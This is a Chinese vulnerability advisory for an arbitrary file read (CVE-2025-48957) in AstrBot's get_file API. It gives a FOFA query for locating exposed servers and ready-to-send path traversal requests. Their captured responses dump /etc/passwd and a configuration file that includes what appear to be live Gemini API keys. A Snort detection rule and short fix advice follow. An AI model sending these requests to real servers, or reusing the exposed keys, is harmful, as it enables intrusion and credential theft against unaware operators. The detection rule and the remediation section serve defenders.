

AstrBot get_file任意文件读取漏洞(CVE-2025-48957)

AstrBot get_file任意文件读取漏洞(CVE-2025-48957), 从而导致读取服务器上的敏感文件。

影响版本

AstrBot

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: title="AstrBot"

POC/EXP:

```
GET /api/chat/get_file?filename=../../../../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
```

发送请求

强制 HTTPS

历史

爆破示例

</> 生成 Yaml

Request

数据扫描 美化 热加载 构造请求

1

GET /api/chat/get_file?filename=../../../../etc/passwd HTTP/1.1

2

Host : 127.0.0.1

3

Accept-Encoding: gzip, deflate

4

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0

5

Accept: */*

6

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Responses

839bytes / 51ms 美化 渲染 编码 详情

1

HTTP/1.1 200

2

content-type: text/html; charset=utf-8

3

date: Wed, 04 Jun 2025 07:37:02 GMT

4

server: hypercorn-h11

5

Content-Length: 839

6

7

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

8

bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin

9

sync:x:4:65534:sync:/bin:/bin/sync

10

games:x:5:60:games:/usr/games:/usr/sbin/nologin

11

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

12

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

13

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

14

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

15

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

16

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

17

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

18

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

19

list:x:38:38:Mailing List

20

Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin

21

_apt:x:42:65534::/nonexistent:/usr/sbin/nologin

22

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

```
GET /api/chat/get_file?filename=../../../../data/cmd_config.json HTTP/1.1
Host: 127.0.0.1
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
```

发送请求

强制 HTTPS

历史

爆破示例

</> 生成

Request

数据扫描 美化 热加载 构造请求

1

GET /api/chat/get_file?filename=../../../../data/cmd_config.json HTTP/1.1

2

Host : 127.0.0.1

3

Accept-Encoding: gzip, deflate

4

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0

5

Accept: */*

6

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Responses

16710bytes / 74ms 美化 渲染 编码 详情

1

HTTP/1.1 200

2

content-type: text/html; charset=utf-8

3

date: Wed, 04 Jun 2025 07:40:45 GMT

4

server: hypercorn-h11

5

Content-Length: 15879

6

7

{ "config_version": 2, "platform_settings": { "unique_session": false, "rate_limit": { "time": 60, "count": 30, "strategy": "stall" }, "reply_prefix": "", "forward_threshold": 1500, "enable_id_white_list": true, "id_whitelist": [], "id_whitelist_log": true, "wl_ignore_admin_on_group": true, "wl_ignore_admin_on_friend": true, "reply_with_mention": false, "reply_with_quote": false, "path_mapping": [], "segmented_reply": { "enable": false, "only_llm_result": true, "interval_method": "random", "interval": "1.5,3.5", "log_base": 2.6, "words_count_threshold": 150, "regex": ".*?[.?!~]+.+\$", "content_cleanup_rule": "" }, "no_permission_reply": true, "empty_mention_waiting": true, "friend_message_needs_wake_prefix": false, "ignore_bot_self_message": false }, "provider": { "id": "gemini_default", "type": "googlegenai_chat_completion", "provider_type": "chat_completion", "enable": true, "key": ["AIzaSyC4a_wy09DFsN0X5cX0ECI3RU2qGkZU96E", "AIzaSyBqkvicx-0RbC6rTWzVkbuzLRd8JsE1siw"]

snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"AstrBot - Arbitrary File Read via get_file (CVE-2025-48957)";
  flow:to_server,established;
  content:"GET"; http_method;
  content:"/api/chat/get_file"; http_uri;
  pcre:"/filename=[^&]*\\.\\.\\.\\/[^&]*
  (etc/passwd|windows/win.ini|\\.ssh/id_rsa)/i";
```

```
metadata:service http;  
metadata:cve CVE-2025-48957;  
metadata:affected_product "AstrBot Chat System";  
metadata:attack_type "Path Traversal";  
metadata:severity "high";  
reference:url,www.example.com/vulndb/astrbot-lfi;  
classtype:web-application-attack;  
sid:1000073;  
rev:1;  
priority:1;
```

)

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。